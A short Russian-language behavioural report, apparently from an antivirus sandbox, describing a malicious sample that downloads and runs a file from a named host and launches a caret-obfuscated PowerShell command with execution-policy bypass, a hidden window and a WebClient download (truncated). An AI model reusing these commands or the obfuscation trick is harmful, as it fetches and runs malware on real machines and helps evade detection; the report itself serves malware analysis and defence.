Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^wERSHe^Ll^.^ex^E -EX^ECuti^ON^poLi^C^y B^yp^a^Ss ^-^nO^pROFIL^e -W^i^NdOwSt^y^le hiDDEn^ (^nEW-obJ^ect sy^sTeM^.^ne^t.we^B^c^Li^e^N^t^)^.^D^OWnLoA^dfI^L^E^(^'http://...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^wERSHe^Ll^.^ex^E -EX^ECuti^ON^poLi^C^y B^yp^a^Ss ^-^nO^pROFIL^e -W^i^NdOwSt^y^le hiDDEn^ (^nEW-obJ^ect sy^sTeM^.^ne^t.we^B^c^Li^e^N^t^)^.^D^OWnLoA^dfI^L^E^(^'http://...' (со скрытым окном)
